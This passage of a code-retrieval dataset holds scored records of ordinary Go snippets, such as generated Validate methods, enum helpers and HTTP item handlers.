"ab391f762f40c46e795e7ebbc23f58b9", "score": "0.43209", "text": "func (me TpegLoc03AreaDescriptorSubtypeEnum) IsAreaName() bool { return me.String() == \"areaName\" }", "title": "" }, { "docid": "4dd0b867b0b6d7c64020c1cfcf8eb703", "score": "0.4314244", "text": "func (o *PostProductModelsBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateAssociations(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateCode(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateFamilyVariant(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateMetadata(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateQuantifiedAssociations(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateValues(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "fa691a4f2c925d646d93ab7182afb944", "score": "0.4310989", "text": "func (m *GetCharactersCharacterIDWalletJournalOKBodyItems) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateContextIDType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDescription(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateRefType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c364d4012c3045e9b28cf68eda3b0665", "score": "0.4304925", "text": "func (o *InlineResponse2002Items) GetNameOk() (*string, bool) {\n\tif o == nil {\n\t\treturn nil, false\n\t}\n\treturn &o.Name, true\n}", "title": "" }, { "docid": "57b0aa4eae6ce5c2d055174b3924feda", "score": "0.43046838", "text": "func (o *PostUIOpenwindowNewmailUnprocessableEntityBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateError(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4bb58d3be7750080751bbd57ab31ee1b", "score": "0.4300721", "text": "func (me TpegLoc03AreaDescriptorSubtypeEnum) IsCountyName() bool { return me.String() == \"countyName\" }", "title": "" }, { "docid": "92e1d1456888ad7eccba474fbe92cddd", "score": "0.42921722", "text": "func (server *Server) SearchItemByNames(w http.ResponseWriter, r *http.Request) {\n\n\t// Read the data posted\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\t// Start processing the request data\n\tmodelSearch := ItemSearch{}\n\terr = json.Unmarshal(body, &modelSearch)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tlocID := modelSearch.LocID\n\tKeyword := modelSearch.Keyword\n\tReligionID := modelSearch.ReligionID\n\n\tpage := modelSearch.Page\n\n\tif err != nil {\n\t\terr := formaterror.ReturnErr(err)\n\t\tresponses.JSON(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\tmodel := models.ReligionItem{}\n\n\titems, err := model.SearchItemByName(server.DB, ReligionID, Keyword, locID, page)\n\tif err != nil {\n\t\terr := formaterror.ReturnErr(err)\n\t\tresponses.JSON(w, http.StatusOK, err)\n\t\treturn\n\t}\n\n\tif len(items) > 0 {\n\t\tfor i, v := range items {\n\t\t\tlinkImg := server.getLink(v.Image, \"tamlinh\")\n\n\t\t\titems[i].Image = linkImg\n\n\t\t}\n\t}\n\n\tvar rs interface{}\n\trs = items\n\n\tresult := formatresult.ReturnGlobalArray(rs)\n\tresponses.JSON(w, http.StatusOK, result)\n\n\t//result := formatresult.ReturnReligionItem(itemReceived)\n\t//responses.JSON(w, http.StatusOK, result)\n}", "title": "" }, { "docid": "06ea58551f5b21155b9db8321b23cf45", "score": "0.4282065", "text": "func bodyForGetGroup(i int) string {\n\treturn missingTokenBodyPattern(\n\t\tlistOfGroups,\n\t\tyetAnotherGroup,\n\t\taChildGroup,\n\t\taSubGroup,\n\t\taGroup, // Necessary?\n\t)[i]\n}", "title": "" }, { "docid": "9a875057e66f8cb2dacf687453c658bf", "score": "0.42810562", "text": "func (me TCauseTypeEnum) IsProblemsAtCustomPost() bool { return me.String() == \"problemsAtCustomPost\" }", "title": "" }, { "docid": "bbbffa03c0718a2f7aa0ee8dc57af247", "score": "0.42790473", "text": "func (i *Interface) parseBody(terms []string) error {\n\tif i.keyWordsMgr.IsCommentWord(terms[0]) {\n\t\treturn i.parseComment(terms)\n\t}\n\tif len(terms) < i.stateMinLen {\n\t\treturn ErrSyntexInvaild\n\t}\n\tif terms[2] != \"(\" || terms[5] != \")\" {\n\t\treturn ErrSyntexInvaild\n\t}\n\tintfResp, intfFunc, intfReq, intfReqName := terms[0], terms[1], terms[3], terms[4]\n\tif !i.nodes.structs.Contains(intfResp) && !i.keyWordsMgr.IsBasicType(intfResp) {\n\t\treturn ErrInterfaceRespNotDefine\n\t}\n\tif util.IsNumeric(intfFunc) {\n\t\treturn ErrInterfaceFuncNameCannotBeNumeric\n\t}\n\tif !i.nodes.structs.Contains(intfReq) && !i.keyWordsMgr.IsBasicType(intfReq) {\n\t\treturn ErrInterfaceReqNotDefine\n\t}\n\tif util.IsNumeric(intfReqName) {\n\t\treturn ErrInterfaceReqNameCannotBeNumeric\n\t}\n\tstate := StandardStatement{\n\t\tStatement: fmt.Sprintf(\"%v %v(%v %v);\", intfResp, intfFunc, intfReq, intfReqName),\n\t\tComment: parseComment(terms[i.stateMinLen-1:]),\n\t\tLevel: 2,\n\t}\n\n\ti.statements = append(i.statements, state)\n\n\treturn nil\n}", "title": "" }, { "docid": "35f1c06fc5af722138159e30832faf62", "score": "0.42763844", "text": "func (me TFuelTypeEnum) IsPetrol() bool { return me.String() == \"petrol\" }", "title": "" }, { "docid": "d04c26168369dcf13aff048c550fbc90", "score": "0.4272921", "text": "func handleItems(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\tcase http.MethodPost:\n\t\tcreateItem(w, r)\n\tdefault:\n\t\tw.WriteHeader(http.StatusMethodNotAllowed)\n\t}\n}", "title": "" }, { "docid": "2bbcfa578fe76fbaf743265368426ef7", "score": "0.42703936", "text": "func (m *Body2) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateActionCode(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateAlbumIds(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateSubCategoryID(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "60fd00b1d44205b24b5d7c45d7ab7c37", "score": "0.42699036", "text": "func (sc *scanner) ScanItemBody(token *parserToken) (*parserToken, scannerStep) {\n\t//fmt.Printf(\"---> ScanItemBody, LA = '%#U'\\n\", sc.Buf.Lookahead)\n\tswitch sc.Buf.Lookahead {\n\tcase '-': // list value, either single-line or multi-line. From the spec:\n\t\t// If the first non-space character on a line is a dash followed immediately by a space (-␣) or\n\t\t// a line break, the line is a list item.\n\t\tsc.Buf.match(singleRune('-'))\n\t\tswitch sc.Buf.Lookahead {\n\t\tcase ' ', '\\n': // yes, this is a valid list tag\n\t\t\treturn sc.recognizeItemTag('-', listItem, listItemMultiline, token), nil\n\t\tdefault: // rare case: '-' as start of a dict key\n\t\t\treturn token, sc.ScanInlineKey\n\t\t}\n\tcase '>': // multi-line string. From the spec:\n\t\t// If the first non-space character on a line is a greater-than symbol followed immediately by\n\t\t// a space (>␣) or a line break, the line is a string item.\n\t\tsc.Buf.match(singleRune('>'))\n\t\tswitch sc.Buf.Lookahead {\n\t\tcase ' ', '\\n': // yes, this is a valid string tag\n\t\t\treturn sc.recognizeItemTag('>', stringMultiline, stringMultiline, token), nil\n\t\tdefault: // rare case: '>' as start of a dict key\n\t\t\treturn token, sc.ScanInlineKey\n\t\t}\n\tcase ':': // multi-line key. From the spec:\n\t\t// If the first non-space character on a line is a colon followed immediately by a space (:␣) or\n\t\t// a line break, the line is a key item.\n\t\tsc.Buf.match(singleRune(':'))\n\t\tswitch sc.Buf.Lookahead {\n\t\tcase ' ', '\\n': // yes, this is a valid dict-key tag\n\t\t\treturn sc.recognizeItemTag(':', dictKeyMultiline, dictKeyMultiline, token), nil\n\t\tdefault: // rare case: ':' as start of a dict-key\n\t\t\treturn token, sc.ScanInlineKey\n\t\t}\n\tcase '[': // single-line list\n\t\treturn sc.recognizeInlineItem(inlineList, token), nil\n\tcase '{': // single-line dictionary\n\t\treturn sc.recognizeInlineItem(inlineDict, token), nil\n\tdefault: // should be dictionary key\n\t}\n\treturn token, sc.ScanInlineKey // 'epsilon-transition' to inline-key-value rules\n}", "title": "" }, { "docid": "7dd0a35f51135a42afb28867252ffc4b", "score": "0.42627224", "text": "func (o *GetUniverseGraphicsGraphicIDOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateCollisionFile(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateGraphicFile(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateGraphicID(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateIconFolder(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateSofDna(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateSofFationName(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateSofHullName(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateSofRaceName(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "213271fba5efed0337e1d2eeded29e4e", "score": "0.4259502", "text": "func (me TpegLoc03OtherPointDescriptorSubtypeEnum) IsTidalRiverName() bool {\n\treturn me.String() == \"tidalRiverName\"\n}", "title": "" }, { "docid": "2e00837df8cb993ded879ede85c8e868", "score": "0.42538533", "text": "func (o *UserListReposOKBodyItems0) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateCreated(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateUpdated(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateOwner(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateParent(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validatePermissions(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ed6796c6792001c5c5a2e6005ca73c77", "score": "0.4253126", "text": "func convertItems(api *openapi2proto.APIDefinition, itemName string, items *openapi2proto.Items) (definitionJSONSchema jsonschema.Type, err error) {\n\n\tvar nestedProperties map[string]*openapi2proto.Items\n\tvar requiredProperties interface{}\n\n\t// Prepare a new jsonschema:\n\tdefinitionJSONSchema = jsonschema.Type{\n\t\tAdditionalProperties: generateAdditionalProperties(blockAdditionalProperties),\n\t\tDescription: strings.Replace(items.Description, \"`\", \"'\", -1),\n\t\tMaxLength: items.MaxLength,\n\t\tMinLength: items.MinLength,\n\t\tPattern: items.Pattern,\n\t\tProperties: make(map[string]*jsonschema.Type),\n\t\tTitle: items.Name,\n\t}\n\n\t// Self-contained schemas:\n\tif items.Schema != nil {\n\t\titemsMap, recurseError := recurseNestedProperties(api, map[string]*openapi2proto.Items{\"schema\": items.Schema})\n\t\terr = recurseError\n\t\tdefinitionJSONSchema = *itemsMap[\"schema\"]\n\t\treturn\n\t}\n\n\t// Arrays of self-defined parameters:\n\tif items.Ref == \"\" && items.Type == gojsonschema.TYPE_ARRAY {\n\t\titemsMap, recurseError := recurseNestedProperties(api, map[string]*openapi2proto.Items{\"items\": items.Items})\n\t\terr = recurseError\n\t\tdefinitionJSONSchema.Items = itemsMap[\"items\"]\n\t}\n\n\t// Single-instances of self-defined parameters:\n\tif items.Ref == \"\" && items.Type != gojsonschema.TYPE_ARRAY && items.Schema == nil {\n\t\tdefinitionJSONSchema.Type = mapOpenAPITypeToJSONSchemaType(items.Type)\n\t\trequiredProperties = items.Required\n\t\tdefinitionJSONSchema.Properties, err = recurseNestedProperties(api, items.Model.Properties)\n\t}\n\n\t// Referenced models:\n\tif items.Ref != \"\" {\n\t\tnestedProperties, definitionJSONSchema.Type, requiredProperties, err = lookupReference(api, items.Ref)\n\t\tdefinitionJSONSchema.Properties, err = recurseNestedProperties(api, nestedProperties)\n\t}\n\n\t// Maintain a list of required items:\n\tif definitionJSONSchema.Type == gojsonschema.TYPE_OBJECT {\n\t\tdefinitionJSONSchema.Required = buildRequiredPropertiesList(requiredProperties)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "0eb554b0a9a6dfc6419521aae3e1075f", "score": "0.42399076", "text": "func DummyStockopnameItem() *StockopnameItem {\n\tvar m StockopnameItem\n\tfaker.Fill(&m, \"ID\")\n\n\tm.Stockopname = DummyStockopname()\n\n\tm.ItemVariantStock = DummyItemVariantStock()\n\n\tif e := m.Save(); e != nil {\n\t\tfmt.Printf(\"error saving %s\", e.Error())\n\t}\n\treturn &m\n}", "title": "" }, { "docid": "dd1e511358c311b4d57d3ffcf417a7e6", "score": "0.42342255", "text": "func (body POSTCreateItemRequest) ServiceName() string {\n\treturn \"service.item\"\n}", "title": "" }, { "docid": "dab868d88edc2e53e7622a964cdda20e", "score": "0.4229672", "text": "func (items *Items) Add(body []byte) (ItemResp, error) {\n\tbody = patchMetadataTypeCB(body, func() string {\n\t\tendpoint := getPriorEndpoint(items.endpoint, \"/Items\")\n\t\tcacheKey := strings.ToLower(endpoint + \"@entitytype\")\n\t\tif oDataType, found := storage.Get(cacheKey); found {\n\t\t\treturn oDataType.(string)\n\t\t}\n\t\tlist := NewList(items.client, endpoint, nil)\n\t\toDataType, _ := list.GetEntityType()\n\t\tstorage.Set(cacheKey, oDataType, 0)\n\t\treturn oDataType\n\t})\n\tclient := NewHTTPClient(items.client)\n\treturn client.Post(items.endpoint, bytes.NewBuffer(body), items.config)\n}", "title": "" }, { "docid": "fa279e17cd2fb30deee51b302b188d4d", "score": "0.42295903", "text": "func (ec *executionContext) _AddInItem_name(ctx context.Context, field graphql.CollectedField, obj *model.AddInItem) (ret graphql.Marshaler) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tec.Error(ctx, ec.Recover(ctx, r))\n\t\t\tret = graphql.Null\n\t\t}\n\t}()\n\tfc := &graphql.FieldContext{\n\t\tObject: \"AddInItem\",\n\t\tField: field,\n\t\tArgs: nil,\n\t\tIsMethod: false,\n\t\tIsResolver: false,\n\t}\n\n\tctx = graphql.WithFieldContext(ctx, fc)\n\tresTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {\n\t\tctx = rctx // use context from middleware stack in children\n\t\treturn obj.Name, nil\n\t})\n\tif err != nil {\n\t\tec.Error(ctx, err)\n\t\treturn graphql.Null\n\t}\n\tif resTmp == nil {\n\t\tif !graphql.HasFieldError(ctx, fc) {\n\t\t\tec.Errorf(ctx, \"must not be null\")\n\t\t}\n\t\treturn graphql.Null\n\t}\n\tres := resTmp.(string)\n\tfc.Result = res\n\treturn ec.marshalNString2string(ctx, field.Selections, res)\n}", "title": "" }, { "docid": "679463617a92687817da1ee927505b9d", "score": "0.4216018", "text": "func unmarshallItem(r *http.Request, item *model.Item) *ctrlError {\n\terr := json.NewDecoder(r.Body).Decode(item)\n\tif err != nil {\n\t\treturn &ctrlError{errorMsg: \"#BadRequestBody\", httpCode: http.StatusBadRequest}\n\n\t}\n\tif strings.TrimSpace(item.Id) == \"\" {\n\t\treturn &ctrlError{errorMsg: \"#MissingItemIdentifier\", httpCode: http.StatusBadRequest}\n\n\t}\n\titem.Type = model.ITEM\n\titem.State = model.Newly\n\treturn nil\n}", "title": "" }, { "docid": "fa40cb31aa8fe010d3400012dbacdbfe", "score": "0.4213741", "text": "func (o *SyntheticsCITest) GetBodyTypeOk() (*string, bool) {\n\tif o == nil || o.BodyType == nil {\n\t\treturn nil, false\n\t}\n\treturn o.BodyType, true\n}", "title": "" }, { "docid": "d9beb207c5ab8fd0fd03978a692c6f33", "score": "0.42131615", "text": "func (i *Item) Name() string {\n\treturn i.name\n}", "title": "" }, { "docid": "f3324bf2a239ff628531905b68f517f2", "score": "0.4213089", "text": "func (a *AtelierData) IsItem(s string) bool {\n\treturn a.graph.Contains(s)\n}", "title": "" }, { "docid": "5ac088adbb4b64b6add5731c093abff3", "score": "0.421052", "text": "func (m *Basket) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateBillingAddress(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBonusDiscountLineItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateChannelType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCouponItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCreationDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCustomerInfo(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateGiftCertificateItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInventoryReservationExpiry(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateLastModified(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateNotes(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateOrderPriceAdjustments(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePaymentInstruments(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateProductItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateShipments(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateShippingItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTaxation(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6996b7143f9d9e17b63d0043bc2b0557", "score": "0.42045987", "text": "func (me TParkingFacilityTypeEnum) IsLorryParking() bool { return me.String() == \"lorryParking\" }", "title": "" }, { "docid": "e9fd20c03ddf4c5d036627ce12c329f4", "score": "0.42043877", "text": "func (m *ItemContentTypesContentTypeItemRequestBuilder) IsPublished()(*ItemContentTypesItemIsPublishedRequestBuilder) {\n return NewItemContentTypesItemIsPublishedRequestBuilderInternal(m.BaseRequestBuilder.PathParameters, m.BaseRequestBuilder.RequestAdapter)\n}", "title": "" }, { "docid": "c1b4a39f8a27a78e8b8a34d88221d2b1", "score": "0.42017543", "text": "func (o *AssociationTypesPostUnprocessableEntityBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "5cfe68e8e6cf4998dc1f3085dcb119e9", "score": "0.41955274", "text": "func (u IRI) validAsObject() {}", "title": "" }, { "docid": "e293907b2d57da6a35443c743d056e35", "score": "0.41931617", "text": "func (o *VirtualizationIweHostInterfaceAllOf) GetNameOk() (*string, bool) {\n\tif o == nil || o.Name == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Name, true\n}", "title": "" }, { "docid": "b43a2f158175499c4cc327a119353bda", "score": "0.41914532", "text": "func (o *SyntheticsCITest) GetBodyOk() (*string, bool) {\n\tif o == nil || o.Body == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Body, true\n}", "title": "" }, { "docid": "2a850fae85282020da33f47abe085e0a", "score": "0.4185874", "text": "func (me TpegLoc03AreaDescriptorSubtypeEnum) IsNationName() bool { return me.String() == \"nationName\" }", "title": "" }, { "docid": "c42341e3e91c487f5d061ce50b9f4fcb", "score": "0.4184376", "text": "func UpdateItemIDFromName(bytes []byte, includeLockedByRecipe, includeLockedByTrade bool, t *testing.T) []byte {\n\traw := UnmarshalIntoEmptyInterface(bytes, t)\n\n\titemName, ok := raw[\"ItemName\"].(string)\n\tt.MustTrue(ok, \"item name does not exist in json\")\n\tsender, ok := raw[\"Sender\"].(string)\n\tt.MustTrue(ok, \"sender address does not exist in json\")\n\n\titemID, exist, err := inttest.GetItemIDFromName(sender, itemName, includeLockedByRecipe, includeLockedByTrade)\n\tif !exist {\n\t\tt.WithFields(testing.Fields{\n\t\t\t\"item_name\": itemName,\n\t\t\t\"include_locked_by_recipe\": includeLockedByRecipe,\n\t\t\t\"include_locked_by_trade\": includeLockedByTrade,\n\t\t}).Debug(\"no item fit params\")\n\t}\n\tt.WithFields(testing.Fields{\n\t\t\"item_name\": itemName,\n\t\t\"include_locked_by_recipe\": includeLockedByRecipe,\n\t\t\"include_locked_by_trade\": includeLockedByTrade,\n\t}).MustNil(err, \"error getting item id from name\")\n\traw[\"ItemID\"] = itemID\n\tnewBytes, err := json.Marshal(raw)\n\tt.WithFields(testing.Fields{\n\t\t\"updated_item_id_interface\": raw,\n\t}).MustNil(err, \"error encoding raw json\")\n\treturn newBytes\n}", "title": "" }, { "docid": "b7e77736c27ed2603884ef337681cb0f", "score": "0.41824937", "text": "func CreateItem(w http.ResponseWriter, r *http.Request) {\n\ti := Item{}\n\terr := json.NewDecoder(r.Body).Decode(&i)\n\n\tif err != nil {\n\t\thttp.Error(w, http.StatusText(500), http.StatusInternalServerError)\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\terr = SaveItem(i.Name, i.Description)\n\tif err != nil {\n\t\thttp.Error(w, http.StatusText(500), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusCreated)\n}", "title": "" }, { "docid": "4b50e4a7a6bf10b9c4b454f2fdea8e15", "score": "0.41708356", "text": "func (me TParkingPersonTypeEnum) IsFamilies() bool { return me.String() == \"families\" }", "title": "" }, { "docid": "b22a8137913a45b51b95ba1066329748", "score": "0.4164899", "text": "func postItemHandler(w http.ResponseWriter, r *http.Request) {\n\tcookie, err := r.Cookie(\"username\")\n\tif err != nil {\n\t\t// User is not logged in, redirect\n\t\thttp.Redirect(w, r, \"/\", http.StatusFound)\n\t\treturn\n\t}\n\tusername := cookie.Value\n\n\t// Parse HTML form for user-entered data about content item\n\tr.ParseForm()\n\tlog.Println(\"New Content Item info:\")\n\tfor key, value := range r.Form {\n\t\tlog.Println(key, value)\n\t}\n\n\t// Create new ContentItem with appropriate data\n\tNewContentItem := b.ContentItem{\n\t\tEmail: username,\n\t\tFilePath: r.FormValue(\"filePath\"),\n\t\tFileName: r.FormValue(\"itemName\"),\n\t\tPostTime: time.Now(),\n\t}\n\n\t// Designate privacy setting\n\tvar isPub int\n\tprivacySetting := r.FormValue(\"shareSetting\")\n\tif privacySetting == \"public\" {\n\t\tisPub = 1\n\t} else {\n\t\tisPub = 0\n\t}\n\t// Send info to backend to be inserted into database\n\tlastID := b.ExecInsertContentItem(NewContentItem, isPub)\n\tlog.Println(\"Inserted a Content_Item into the db!\")\n\n\t// If the content item is private, need to update Share table for each FriendGroup\n\tif isPub == 0 {\n\t\tsharedGroups := r.Form[\"friendGroup\"]\n\t\t// Create a FriendGroup for each chosen group to share item with\n\t\tfor group := range sharedGroups {\n\t\t\tgroupInfo := strings.Split(sharedGroups[group], \"_\")\n\t\t\tSharedGroup := b.FriendGroup{\n\t\t\t\tMemberEmail: username,\n\t\t\t\tFGName: groupInfo[0],\n\t\t\t\tOwnerEmail: groupInfo[1],\n\t\t\t}\n\t\t\t// Send info to backend to be inserted into database\n\t\t\tb.ExecInsertSharedContentItemToGroup(SharedGroup.FGName,\n\t\t\t\tSharedGroup.OwnerEmail, lastID)\n\t\t}\n\t}\n\thttp.Redirect(w, r, \"/\", http.StatusFound)\n\treturn\n}", "title": "" }, { "docid": "a0e6df1a36d018edc83e344ddef9d724", "score": "0.41643378", "text": "func (c *Cart) hasMilk() bool {\n\tfor _, item := range c.Items {\n\t\tif item == \"milk\" {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "417c842a88cb3a6c1bf7b0b561ecd349", "score": "0.41607526", "text": "func (o *CreateACartCreatedBodyLineItemsItems0) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateCustomItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateDigitalItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateGiftCertificates(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validatePhysicalItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c60f5e1a6fec819acac2ef34e480ad6f", "score": "0.41607493", "text": "func is105Item(itemCode string, additionalParams *AdditionalShipmentLineItemParams) bool {\n\thasDimension := additionalParams.ItemDimensions != nil || additionalParams.CrateDimensions != nil\n\tif (itemCode == \"105B\" || itemCode == \"105E\") && hasDimension {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "bf7d7e231f739b9727295065f05735f3", "score": "0.41563392", "text": "func (j *JournalData) ItemByName(s string) (Item, error) {\n el := j.Find(fmt.Sprintf(`item[name=\"%s\"]`, s))\n if el.Length() == 0 {\n return Item{}, errors.New(\"Not found\")\n }\n\n return Item{el}, nil\n}", "title": "" }, { "docid": "41547e8f04dc494e061fd688163b2a47", "score": "0.415168", "text": "func nonEmptySpouseArr(data []Spouse) bool {\n\tfor _, v := range data {\n\t\tif v.name != \"\" {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "0fd65b6f0cd8e94bf6b2c00c0d103911", "score": "0.41496855", "text": "func (m *Body2) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateClient(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateContent(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateImei(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTs(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateType(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVal(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVersion(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5726e3476b9a393d6276358e22c37ff2", "score": "0.41475645", "text": "func (r *createRequest) Validate() *validation.Output {\n\to := &validation.Output{Valid: true}\n\t// check item variant\n\tfor i, directItm := range r.DirectPlacementItems {\n\t\tif id, e := common.Decrypt(directItm.ItemVariant); e != nil {\n\t\t\to.Failure(fmt.Sprintf(\"direct_placement_items.%d.item_variant_id.invalid\", i), \"not valid\")\n\t\t} else {\n\t\t\tvariant := &model.ItemVariant{ID: id, IsDeleted: int8(0)}\n\t\t\tif e = variant.Read(\"ID\", \"IsDeleted\"); e != nil {\n\t\t\t\to.Failure(fmt.Sprintf(\"direct_placement_items.%d.item_variant_id.invalid\", i), \"was deleted\")\n\t\t\t}\n\t\t\tvariant = &model.ItemVariant{ID: id, IsArchived: int8(0)}\n\t\t\tif e = variant.Read(\"ID\", \"IsArchived\"); e != nil {\n\t\t\t\to.Failure(fmt.Sprintf(\"direct_placement_items.%d.item_variant_id.invalid\", i), \"was archived\")\n\t\t\t}\n\t\t}\n\t}\n\treturn o\n}", "title": "" }, { "docid": "4a3fe9b280903edf956c3c59c3fc842c", "score": "0.4144081", "text": "func parseBody(parser *Parser, item lexer.Item) (body []Node) {\n\tfor item.Type != lexer.ItemEnd && item.Type != lexer.ItemElse {\n\t\tbody = append(body, parseItem(parser, item))\n\t\titem = parser.next()\n\n\t\tif item.Type == lexer.ItemEOF {\n\t\t\tlog.Errorf(\"end was not found\")\n\t\t}\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "de67838e550c01c6467a20acfb3a9e9d", "score": "0.41302124", "text": "func ItemsID(res http.ResponseWriter, req *http.Request) {\n\tauthSuccess, user, _ := util.Authenticate(req)\n\tif !authSuccess {\n\t\tutil.HTTPRes(res, \"Customer authorization failed.\", http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\titemID := mux.Vars(req)[\"itemID\"]\n\tif itemID == \"\" {\n\t\tutil.HTTPRes(res, \"'Item ID' field not found in request URL\", 